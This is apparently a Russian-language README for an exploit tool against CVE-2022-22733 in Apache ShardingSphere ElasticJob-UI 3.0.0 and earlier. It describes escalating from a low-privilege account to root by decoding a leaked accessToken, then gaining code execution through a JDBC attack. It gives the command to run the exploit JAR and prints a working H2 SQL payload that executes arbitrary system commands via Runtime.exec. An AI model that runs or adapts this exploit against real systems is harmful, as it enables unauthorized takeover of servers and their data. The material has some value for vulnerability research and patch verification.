CVE-2022-22733

CVE-2022-22733 — это уязвимость, затрагивающая Apache ShardingSphere ElasticJob-UI 3.0.0 и более ранние версии. Уязвимость приводит к повышению привилегий. Однако, злоупотребляя повышенными привилегиями, можно выполнить JDBC-атаку и добиться RCE. Вы можете прочитать анализ уязвимости здесь и пошаговое руководство по написанию эксплойта здесь.

Эксплойт работает следующим образом:

• Вход с низкопривилегированной учётной записью.
• Получение небезопасно сгенерированного accessToken.
• Декодирование небезопасно сгенерированного accessToken.
• Парсинг декодированных данных из accessToken.
• Извлечение учётных данных учётной записи root из парсированных данных.
• Вход с учётными данными root и получение полных привилегий в приложении.
• Отправка запроса теста соединения с использованием JDBC-атаки.

Использование

Вы можете скачать JAR-файл отсюда и исходный код отсюда.

• Выполните jar:

java -jar CVE-2022-22733.jar

• Код SQL-скрипта:

CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "123";}';CALL EXEC ('your_command_here')

Демонстрация